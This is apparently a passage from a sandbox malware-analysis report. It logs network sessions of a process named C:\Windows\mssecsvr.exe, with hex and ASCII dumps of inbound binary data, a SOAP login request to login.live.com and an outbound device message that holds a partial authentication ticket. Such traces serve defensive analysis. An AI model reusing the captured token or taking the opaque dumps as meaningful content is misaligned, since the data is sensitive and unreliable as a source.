7fQS&Fs\|-HJNsTZu#?]=AW2F}N5KUd\Or-jWN6)/g`+F+N\|XeS?qt=p7v]Ug2HV~"quCRei+\|5{eJ6~!}5)
2022-07-20 17:31:07 UTC	7494	IN	Data Raw: 12 c0 32 ef 11 2b f0 18 99 d7 a2 6c 78 fb d7 76 77 b5 55 9a e1 83 c1 20 b2 c0 93 81 f6 ea de b8 ce f6 f6 07 72 ee 58 71 ad 80 00 02 6b eb f6 c6 b5 eb d7 58 ee 07 8b 19 4b 56 1f a2 98 27 e2 66 37 f2 d5 f3 f6 75 9e bc f9 d0 82 09 e6 54 4b 90 08 42 48 27 6e 4d e5 fe d9 d2 f6 cf 84 9d 7e 55 d1 41 aa c6 37 2a 31 05 a0 2c 0d 80 9d fa f8 6b 2e dc b4 61 14 84 4b 59 a3 90 e2 24 90 d1 3e 99 3e 3a 45 d7 af 1c 83 b8 b5 ee ed cb 27 37 08 c3 ea 00 cb 74 2d 06 74 6c d7 5c dd 2a 9b 7b b0 d2 57 0c ca d1 22 60 8c f1 1f 85 47 5d 75 87 72 dc 85 77 57 3f 76 07 6e a0 1a b2 56 47 a9 4a e4 fa bc 5b 59 f6 e5 dd 3b 7a dc 8f 22 96 55 2b df d3 61 5b cc 29 06 40 21 b0 01 ea 3c b4 7a cc e1 ed fc 93 ea f4 bb 2e ef bb 28 53 bb 2a b6 56 d0 ac b3 c8 a9 c9 c4 44 69 6e 3c 7d fa c9 e3 95 c3 Data Ascii: 2+lxvwU rXqkXKV'f7uTKBH'nM~UA71,k.aKY$>>:E'7t-tl\{W"`G]urwW?vnVGJ[Y;z"U+a[)@!<z.(S*VDin<}
2022-07-20 17:31:07 UTC	7501	IN	Data Raw: ce a7 ae 95 28 a0 5b 22 b3 c6 c6 19 03 d4 87 24 69 5f db c0 71 7c ad 56 b2 82 1f b8 22 b3 31 28 24 37 49 c9 3f c3 53 d9 67 59 f0 42 70 40 eb 5d 85 c2 6c aa 64 16 3f 64 1f 2d 77 b2 df c7 73 cb 2c a8 3f 1f 64 96 f6 a0 41 38 3d 76 d2 d1 ce 61 61 55 39 13 97 54 04 98 c2 99 3b 7d ba 5a ca 4e 3f 8b ff d0 51 73 5b 9a 38 72 3c 8a 92 18 12 0e d9 d7 a3 1f 9b 9d 94 fe 9a d6 88 91 3f 50 9c 15 e9 9d 5a ec d1 9a 96 90 c2 b2 dc 54 16 9f 96 34 69 49 85 d7 27 8b 91 2a 07 12 26 08 27 33 8e 82 35 d0 b7 4d 64 02 cf 6d 0a ac 2f 22 46 0c 31 8d fc b7 c6 ae 38 ab 15 56 c8 36 7b 61 e0 02 44 ae 0e f8 eb a9 8e d6 1a cf b8 15 4f d2 c0 a9 04 c8 5f 19 fa a6 75 63 3a aa d1 65 5e e5 36 92 47 2c 01 23 7d ce 74 e3 5e 31 21 74 6b 1a c0 b9 7f e9 24 9c 74 81 e9 d7 31 b3 e8 0f d4 1b 04 24 12 Data Ascii: (["$i_q\|V"1($7I?SgYBp@]ld?d-ws,?dA8=vaaU9T;}ZN?Qs[8r<?PZT4iI'*&'35Mdm/"F18V6{aDO_uc:e^6G,#}t^1!tk$t1$
2022-07-20 17:31:07 UTC	7517	IN	Data Raw: d6 eb b3 6b a9 ab b8 e2 15 4a ae 02 a9 9c c1 d8 fd ba ce da d3 b7 5d 6a 91 db b0 ae d0 4a 72 c7 52 08 19 62 7c 0e af 29 3a e4 e0 4f 71 36 a8 6c f2 20 20 22 61 5b a8 d5 76 73 f6 3e a9 56 15 98 2a 79 73 81 98 3f 49 cf c3 5d ac fd 69 48 07 b2 16 a7 27 24 8f 70 63 90 3f 7e 96 f0 b9 c8 b9 16 b3 8a af 27 bd 49 0c a0 c0 e3 d2 3a 6b 3d 31 7e b2 96 b7 d9 2b 36 3a 05 53 39 2b e2 7c e7 5a 66 87 6d b3 20 ca 25 64 94 40 ac 56 00 53 32 54 8c 93 f0 d4 b1 a7 be 07 b8 06 a9 5e 52 58 49 90 67 e0 20 81 a9 8e bc df da a2 ba c3 d9 28 be d9 b0 18 69 9d 8e e7 c1 74 af 29 97 cf cb bb 4b 1f b7 55 74 e4 d2 dc 49 cc 91 e3 3b 46 b3 cc f0 d2 db 2e 7c 67 f3 6d 7d ff 00 7c e4 3a 2f e2 30 20 4c 96 f1 d3 f6 b7 8a ce 5f 59 b9 b6 b9 3f 70 42 5a c5 56 e2 a6 19 89 93 c8 6e 47 c7 46 94 b9 66 Data Ascii: kJ]jJrRb\|):Oq6l "a[vs>V*ys?I]iH'$pc?~'I:k=1~+6:S9+\|Zfm %d@VS2T^RXIg (it)KUtI;F.\|gm}\|:/0 L_Y?pBZVnGFf
2022-07-20 17:31:07 UTC	7533	IN	Data Raw: 8c e0 74 1a ba 25 f7 28 2c 5f 74 b2 d6 e5 8e c0 4f 9e fd 23 55 6f 54 89 da 56 92 e9 67 16 90 31 06 67 cb 47 d8 3d 71 3f 74 bd b7 6a de d7 ea 16 41 2c ca 3d 32 7a 4f c3 5d 78 e5 65 de 08 6b dc 85 35 f1 60 01 05 97 24 e3 63 e3 a9 ab ea e5 a8 04 6a 9c c0 3e a3 88 83 f0 d2 90 37 02 ad 6a 32 54 6b 28 01 83 cb 1c 84 61 84 78 6b bc 25 17 2b 09 60 41 92 79 34 63 07 07 d3 f6 46 9e bb 0a a6 a7 ac 0a ea 04 a7 20 06 33 93 33 e5 f1 d6 76 26 ca 7b fe dd 7d ec 51 89 80 03 7a c0 10 01 04 11 d7 45 a4 85 f7 5d 9d eb dc 72 24 47 00 d2 d0 20 93 20 9f 2d 4f 66 9e b5 cf 73 a2 17 4b 03 9e 47 92 96 89 33 bc 0f 51 9d 2e b3 58 f5 ed 8e ed fb 87 ed ec 21 41 00 e4 38 f3 dc 78 0d 3a 77 ae 9a 7b cb 05 83 89 20 a0 90 47 97 a7 ed 3a 16 0c 9a 48 ef fd ea db 20 12 43 7a c0 99 c8 c8 eb ab Data Ascii: t%(,_tO#UoTVg1gG=q?tjA,=2zO]xek5`$cj>7j2Tk(axk%+`Ay4cF 33v&{}QzE]r$G -OfsKG3Q.X!A8x:w{ G:H Cz
2022-07-20 17:31:07 UTC	7541	IN	Data Raw: a3 98 2e b6 92 7d 04 08 02 67 e8 f3 d6 92 67 2c e5 e5 ab de 31 76 ad d0 93 06 0a 9e 3d 24 c1 e9 a9 7b 0f 6f 21 aa e0 85 59 58 21 6e 24 cc 10 d9 8c 68 5e c6 6d dd b9 ee 2a 60 4b 8b 09 c6 31 83 d7 4a 0c 92 5d 28 a5 55 3a 95 f7 05 c7 91 12 0f 10 7c 75 d5 dd bb 5a 1b 7b 64 14 7b 75 10 c0 b1 56 30 7f c1 d7 42 b2 63 68 ec 3b 3e 02 b7 0d ee 2b 03 8d c0 8e 87 a7 c3 54 24 22 fe c4 a9 fc a0 59 88 20 91 b9 3b c9 d5 f6 75 ea f2 fb 96 ee 3f 6d 3c ef 20 d4 e0 19 81 b7 5f f5 d4 76 a8 ed 7f 70 ed 77 70 7d c2 0f 26 e8 20 7d 93 f1 d7 3b 57 76 d6 51 dd ca 52 cd c5 76 20 08 f1 24 f2 d2 97 13 35 67 69 d9 25 b6 3d 8b c4 b5 88 42 a3 99 24 93 1c 81 18 18 d0 bc b6 9c 30 53 57 aa d6 35 9b 11 60 13 f5 80 31 fc f4 3d 4f 51 bf ed 0b 45 76 bd 92 f0 47 1e 13 9e 5d 4c fd 9a d6 c7 9f af Data Ascii: .}gg,1v=${o!YX!n$h^m*`K1J](U:\|uZ{d{uV0Bch;>+T$"Y ;u?m< _vpwp}& };WvQRv $5gi%=B$0SW5`1=OQEvG]L
2022-07-20 17:31:07 UTC	7557	IN	Data Raw: 01 2b 0c 84 c9 c1 24 98 9d f5 6d 49 d7 38 fa 30 07 a9 54 59 97 b3 e9 23 e9 83 be fd 74 90 ef 6d e8 ac ab 00 ec 3d 30 dd 27 33 8d 1b d9 d8 85 d8 b1 66 04 f0 a4 04 21 41 00 ab 1c c7 c3 53 74 bc 45 36 0a e8 e2 5d c8 60 a3 82 ae 56 09 ea 7c 75 70 61 b6 f7 94 db 63 25 0c a6 47 26 80 4b 72 98 3f 21 a3 ae f5 2a e7 ae ca ad af 87 a5 78 90 e8 48 18 99 e5 3f 7e ae ba 78 d2 89 a3 dc 7e 24 91 5a 80 ae a6 66 47 42 64 0d 76 af 69 c4 38 77 0e f6 03 53 12 85 e2 c0 40 91 23 ac 0f e1 a3 a7 60 45 81 9a b5 41 c5 83 11 27 1c 73 86 83 83 3a d6 56 18 a6 d6 af f4 f0 11 59 d0 ae 58 13 04 91 32 44 2a fc f5 0b b7 ed 9a c7 ba d0 ec 00 9d fe 88 e4 49 fe 99 df 53 0b ad d1 b2 d5 5b 7b a0 f0 20 e0 12 71 39 80 35 65 c3 fe de 8a ca cf 71 73 d6 14 8e 10 54 28 fa 67 3c 4f fb b5 ce b9 53 dd Data Ascii: +$mI80TY#tm=0'3f!AStE6]`V\|upac%G&Kr?!xH?~x~$ZfGBdvi8wS@#`EA's:VYX2DIS[{ q95eqsT(g<OS
2022-07-20 17:31:07 UTC	7573	IN	Data Raw: 9e ce cf df 71 dc 3a 86 54 8f a2 01 38 f2 d2 d1 c7 b0 9f b3 d5 7c b5 35 b0 e4 b2 ed 33 1f cb 46 d2 93 0b a7 ff 00 1c 5a 6a e6 09 04 8f a8 b1 10 bd 40 f0 3a e2 4b ec 1e db 92 36 09 04 a0 ea 04 74 27 27 3a ac ef 1c 89 a8 e6 03 93 f9 6a c4 36 41 13 1f db bf cf 5c e9 db 49 1c a5 6d 4e 6b 6a e7 d0 20 11 19 f9 6a ad ea ad 98 80 55 f8 d6 e4 c8 f4 e3 3e 3f e9 a9 6a fa 59 cb 97 b8 4a ae 0f c4 b1 e3 b8 18 f8 fc 27 53 4a 75 97 cd ac 1d ed 84 06 55 05 c7 a4 cc c4 9e 91 b6 8e ea e7 59 e2 db fa 8b b8 ed bb 8b 19 96 d0 3d a5 82 00 1c 7e af 0f 1c eb 85 5d 5d b0 2b 5d 3e b2 73 c8 13 d0 e3 1e 44 eb b4 fa c6 bf 6b 52 1e 76 81 4f 10 c4 00 47 28 11 f6 fc f4 fb 32 93 e1 25 9f b7 56 8a 64 d8 11 d8 30 27 61 e7 f1 d0 93 1b 5e 49 ee 12 9a a2 96 61 cf d2 c1 db 66 99 93 e3 a5 79 67 Data Ascii: q:T8\|53FZj@:K6t'':j6A\ImNkj jU>?jYJ'SJuUY=~]]+]>sDkRvOG(2%Vd0'a^Iafyg
2022-07-20 17:31:07 UTC	7577	IN	Data Raw: 89 ca 95 ea 3f 86 83 b5 42 0f d4 38 56 63 c4 08 f6 e3 d5 07 26 0f 84 e9 6b a4 e4 63 b5 47 40 89 61 55 69 80 de 96 1e 7f e5 ae 5b 87 1f dc 2d a7 b7 52 47 20 22 09 6c fa 7a 9f 18 d5 74 85 5b dc 5e a8 5e e2 18 36 d1 d0 4e 00 1f 0d 5d 67 79 af 35 bb 8e cc a2 9e 30 ea dc 54 c4 cc ee 74 16 4e 34 d0 7b 7b 18 23 06 e5 c4 16 92 24 4e c3 4e 27 6b f1 f5 79 1d e7 61 dc a3 87 43 2b 3e 95 9f 4b 2f 5f 9e b3 a5 3c ef d9 30 ee 3b b5 75 7b 68 dd c0 30 7a 9f 21 e5 ae 90 7c 49 1a bd fa ba c2 a3 83 31 9d 89 33 3c 7e cd 3a 34 49 fb 8f 70 ab 0c 54 a2 a8 95 6c 34 9f a4 48 9e 9b e8 7a 56 b3 b9 d7 0e e6 b6 5b 59 79 da 18 10 41 80 ab d4 f1 eb 3e 3a bd ba 5c 67 d6 c9 55 f7 3f b8 55 db 89 1c 56 a8 25 53 10 58 ef 39 9d f5 35 ae ca de d1 6f e6 fd c8 1c 9d 91 a4 ec a0 1d 82 8d 74 ae 35 Data Ascii: ?B8Vc&kcG@aUi[-RG "lzt[^^6N]gy50TtN4{{#$NN'kyaC+>K/_<0;u{h0z!\|I13<~:4IpTl4HzV[YyA>:\gU?UV%SX95ot5
2022-07-20 17:31:07 UTC	7593	IN	Data Raw: bb 5b 5e 98 c3 df 79 fa 28 a7 b6 b1 95 aa ae bf 50 c8 0c 7d 43 ca 7c 35 dd 66 a7 6e 39 38 f6 f5 95 32 ca 5f e9 0c 0c 30 5e b2 4e ad 8e 9d 9e 7d cc a5 d6 ba 5c 92 17 0d c7 d3 32 77 8d f5 85 af 47 5e ba e5 ed 39 d4 fd cd a7 83 13 c4 c9 fa 80 f0 c6 8f b3 4f 40 76 fd 8d 96 8f 70 ad 7c 3c 41 e5 3c 76 3d 33 9d 39 d9 97 6e af 53 b5 a6 de 1c d4 19 24 82 58 ee 00 99 f8 46 75 b3 0f 9c 65 fd db de cc 3b 66 66 e2 04 d7 31 03 cb cb 59 d6 d2 4f 3f 0e 8a 15 ca f7 12 f0 22 06 ca 1b c0 f8 f8 8d 48 36 fd 55 d0 2a ad 5b 88 01 09 19 ea 3c 3a eb 5c 1b 77 c8 fb aa 7d 94 3d df 6e dc 7b 8c c7 18 2b e9 c8 e5 e7 ab 89 bf 4f 1f cd 2b f6 bd a7 ee a7 f3 58 d6 cc 22 46 25 a4 19 df a6 85 69 e2 70 f3 ed ed 7b ce dc 85 61 95 c0 2c 66 44 f4 38 df 56 04 ef 54 57 dd 57 dd b4 05 65 66 2c 0a Data Ascii: [^y(P}C\|5fn982_0^N}\2wG^9O@vp\|<A<v=39nS$XFue;ff1YO?"H6U*[<:\w}=n{+O+X"F%ip{a,fD8VTWWef,
2022-07-20 17:31:07 UTC	7609	IN	Data Raw: 5d 93 fe d2 ab fd ca ca 6c 9b 43 56 c9 8e 87 d3 18 3e 7f 0d 5e ce e9 db ad f1 fb 83 4f ee 20 58 28 25 ca d6 d2 5e 22 4f 98 db ec f5 6a 4b c0 f7 f3 f4 fb 16 dd d2 71 65 16 10 41 2d e2 00 9f 1f 2d 5d 74 8d 7e f1 98 74 72 83 62 a0 09 06 3a 7f 2d 73 a9 4f 6f e9 95 b8 20 77 63 18 39 8c 16 f9 8d 70 4e b7 c9 b5 77 eb dc 33 10 1a 18 c8 2d c5 49 1f 6e 46 b4 d0 ed 9f 51 59 df 95 ff 00 a9 7f af e9 24 e4 ac 78 f4 8d 13 e7 3c 07 b8 ef 3b 62 4a a1 e0 82 08 26 01 98 cf dd 9f f7 6b b0 75 37 73 df d9 61 7f 48 3c c7 16 93 04 cc 15 e1 f6 6a 16 a4 ee fb 85 f6 1e f4 ad 83 40 5e 2c 06 48 df 8f 50 75 9e ae 95 47 bd dc 43 b0 15 32 30 24 ab 1e 58 fc 26 7e cd 28 16 aa 6a 4a 39 b2 e5 0a e4 93 07 04 88 f4 ed e1 a6 b2 f1 47 6b 58 58 a1 0a 0b 01 b1 24 8f c5 b7 9c 6a 86 fe d0 96 5b b8 Data Ascii: ]lCV>^O X(%^"OjKqeA--]t~trb:-sOo wc9pNw3-InFQY$x<;bJ&ku7saH<j@^,HPuGC20$X&~(jJ9GkXX$j[
2022-07-20 17:31:07 UTC	7613	IN	Data Raw: b6 35 27 35 27 50 05 ee a9 3c 5c 4b 01 85 99 c6 f8 f0 f9 68 4e 6b 5f 5b 3e 5c 8b 5a 16 ae b1 c5 99 60 98 81 e3 8e ba d7 58 fb 7d ab 2b b6 bb 6b 1e d0 2c 6a 68 9d a0 75 24 75 ce b3 f6 b1 b6 75 cf 14 d6 ef 50 dd c6 c2 59 cc 92 40 90 00 f1 9d c6 ac ed bc df 23 d6 7d 3c 04 f7 4c 25 12 0d 25 43 62 48 12 71 03 79 df 5d 6e 97 85 f7 5c ac 42 a3 70 b0 a9 7e 6c 48 63 03 03 c7 6d 49 2c 5f 69 db 87 9b c3 b5 b8 af ba d1 d7 90 30 07 8c 4e 73 a1 9c 9c a5 23 1a ac 4e 2c 78 02 02 a6 f8 27 f1 95 fe 1a 7d bc 06 d9 e1 57 71 59 56 35 16 53 c0 f2 57 38 c4 75 e3 ab 27 03 db 89 a4 bd 8c f6 57 6a 34 d8 84 08 d8 67 ae 77 8d 1b d5 7a d9 7c c0 d5 75 8e ed 60 10 88 cc be 8c 4c 9f ae 35 3c 25 83 7b 3d b3 c6 b3 16 22 93 c9 8f 43 d2 36 d7 2c 65 5d c5 8b 51 3c 81 88 20 81 10 c7 a1 53 e1 Data Ascii: 5'5'P<\KhNk_[>\Z`X}+k,jhu$uuPY@#}<L%%CbHqy]n\Bp~lHcmI,_i0Ns#N,x'}WqYV5SW8u'Wj4gwz\|u`L5<%{="C6,e]Q< S
2022-07-20 17:31:07 UTC	7629	IN	Data Raw: 4c 02 4c 49 c6 7a 7d 9a 3e d0 be 09 73 5f 15 ad 14 a2 bb 33 19 eb 3e 5a b1 27 8d 37 16 af 0a d9 54 b7 d2 37 80 31 fc b5 a4 a1 da 7b 27 b1 39 00 1b 98 a8 7a 83 49 19 02 3a 7d da ed 67 d7 b6 41 af 77 db 25 fe ff 00 16 15 f1 f4 c8 82 63 e1 e6 74 5a ce 4d 5a 85 b5 a8 28 0b 39 93 0d b7 8c 68 b4 9d 5a b6 82 39 31 30 b2 a0 be 38 81 e1 1d 4e bb 02 84 fe e2 c0 7b 44 8e 73 c8 e2 18 ff 00 9e 35 13 47 d9 f7 0b 72 1e e1 73 c6 55 25 b6 27 7f 4f 59 d6 90 6d 31 8d d5 56 19 9a bf 64 c7 a2 79 09 9c c8 11 99 d4 aa 93 de 52 bc dc c2 aa 01 81 23 89 eb 1d 23 57 ac d7 5e 05 40 5a 08 fd 13 17 00 ca b2 e0 49 c1 1e 3a b7 a8 fc fd ff 00 97 f0 4b ef d6 85 d2 c9 0a 7d 2c 9c 64 80 0e 75 3d 4e 5c ff 00 5f ff 00 11 55 dc 05 46 35 29 6a 2c 1d 4f a8 81 e5 e5 ab 19 f6 79 d4 5a aa cc 2b 57 Data Ascii: LLIz}>s_3>Z'7T71{'9zI:}gAw%ctZMZ(9hZ9108N{Ds5GrsU%'OYm1VdyR##W^@ZI:K},du=N\_UF5)j,OyZ+W
2022-07-20 17:31:07 UTC	7645	IN	Data Raw: b5 b3 da 73 4b 05 6e 21 54 10 44 49 c0 19 96 fe ad 71 93 db ad d4 85 17 b8 57 ac 00 04 19 9c ee 3c 3c ce a2 e3 87 ee 28 19 fd c3 e9 01 58 b0 20 cc 79 6d a3 e6 af 81 9e fd 20 58 00 f6 d4 0f 51 da 49 d8 81 8e 5a d2 d4 85 3f 7d db fb cd 63 d6 51 0c ac f5 59 f0 1d 75 7a d6 7d bc bb b9 fd d3 b9 15 06 0f e8 95 3e 00 41 18 f3 d1 b0 b8 a9 6b 6a 03 3b dc a5 1f 98 33 33 3f 1f 2f 0d 1c 2f 02 bb f7 38 a5 ab a9 48 74 33 26 04 16 f0 6f 0d 34 df 94 e5 2c e1 5a 31 89 04 82 c4 09 eb 02 3c 74 70 7f 05 dd d4 ed cd bf 32 ca 8a 29 3c 94 03 83 c8 64 31 33 d3 1a eb e1 37 16 d1 6f 79 75 6f bd c4 60 30 88 55 f0 3d 71 e3 a5 3c 2f b1 7f f7 22 a9 5d fd ca 85 0d 82 b9 33 06 3e 3b 6b a3 bd 95 1f dd 9a 8b 8b 0a 47 27 6e 52 b2 c4 01 8c 9d fa ef a3 bc 96 6c 58 ff 00 bb a5 6e 6a 54 0a 2c Data Ascii: sKn!TDIqW<<(X ym XQIZ?}cQYuz}>Akj;33?//8Ht3&o4,Z1<tp2)<d137oyuo`0U=q</"]3>;kG'nRlXnjT,
2022-07-20 17:31:07 UTC	7653	IN	Data Raw: 65 8a 21 1c 42 b1 e3 c7 fb bd 50 77 df 46 45 a4 5e 6a ed a9 15 ab 2f a4 48 50 3d 22 37 3c 86 f3 ad 34 31 d7 1e d6 95 64 b2 03 b2 f1 1c 41 e2 64 49 83 b1 d5 d7 48 e4 b3 b3 b9 56 b6 b0 72 53 20 81 18 8c 86 4d 8e b8 8a b7 da 66 60 92 16 40 00 98 2c 0e df 0f 1d 1a 85 cb 93 cf ea 0d 3d 7a 08 93 e5 a9 8b b8 3a 53 b5 76 2e 91 60 56 19 69 d8 74 8d 70 59 a2 b2 c5 3e a3 03 83 f1 58 dc e0 f8 e9 6a ce 00 b4 d9 54 5a 06 78 c9 2c 46 f2 70 3e 5a 31 d8 6d 76 14 46 6b 11 56 c0 dc a0 41 04 3e 93 bc 09 1a c2 bc 6b 61 c4 29 00 e0 09 39 8d 5c 2f 3f aa 6e d9 42 56 b4 08 76 80 4f 2c ec 3c 34 31 26 78 be 46 69 6e e1 c3 54 be 82 d3 13 04 91 be ae 27 6f db 72 9a 6c fd 58 75 7a d9 5d f7 53 18 81 00 c9 d5 4f bf c2 2b fb 26 b7 f3 28 26 b6 22 5d 58 72 63 06 36 f3 d4 c4 cb e3 e7 fd 03 Data Ascii: e!BPwFE^j/HP="7<41dAdIHVrS Mf`@,=z:Sv.`VitpY>XjTZx,Fp>Z1mvFkVA>ka)9\/?nBVvO,<41&xFinT'orlXuz]SO+&(&"]Xrc6

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.7	50089	20.190.159.71	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:30:36 UTC	72	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4740 Host: login.live.com
2022-07-20 17:30:36 UTC	72	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 17:30:36 UTC	82	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:29:36 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 18ae6aa1-2503-4977-9d87-01136475102b PPServer: PPV: 30 H: BL02PF7FD28F0F3 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:30:35 GMT Connection: close Content-Length: 11316
2022-07-20 17:30:36 UTC	83	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.7	50732	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:31:11 UTC	7657	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 62 36 30 36 62 61 37 64 38 65 65 39 63 64 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: db606ba7d8ee9cd7
2022-07-20 17:31:11 UTC	7657	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:31:11 UTC	7657	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 62 36 30 36 62 61 37 64 38 65 65 39 63 64 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 34 45 71 2b 36 31 30 4e 30 56 2f 47 4b 68 48 41 53 56 41 51 6a 6a 47 76 31 2f 5a 5a 41 2f 48 48 31 55 74 54 34 43 65 74 2f 6c 42 35 50 66 47 74 67 69 74 32 38 51 7a 44 75 66 6b 51 31 6c 50 4f 61 31 71 6c 52 4a 44 79 46 44 37 42 65 2f 50 54 54 41 33 2f 54 31 33 6f 67 49 4f 59 66 30 58 63 79 6b 78 36 6f 43 41 56 49 58 35 37 4a 68 74 7a 5a 6d 4c 31 35 49 6c 73 2b 62 30 75 65 47 63 47 64 74 36 79 30 75 52 Data Ascii: ATH 2 CON\DEVICE 1014Context: db606ba7d8ee9cd7<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe4Eq+610N0V/GKhHASVAQjjGv1/ZZA/HH1UtT4Cet/lB5PfGtgit28QzDufkQ1lPOa1qlRJDyFD7Be/PTTA3/T13ogIOYf0Xcykx6oCAVIX57JhtzZmL15Ils+b0ueGcGdt6y0uR
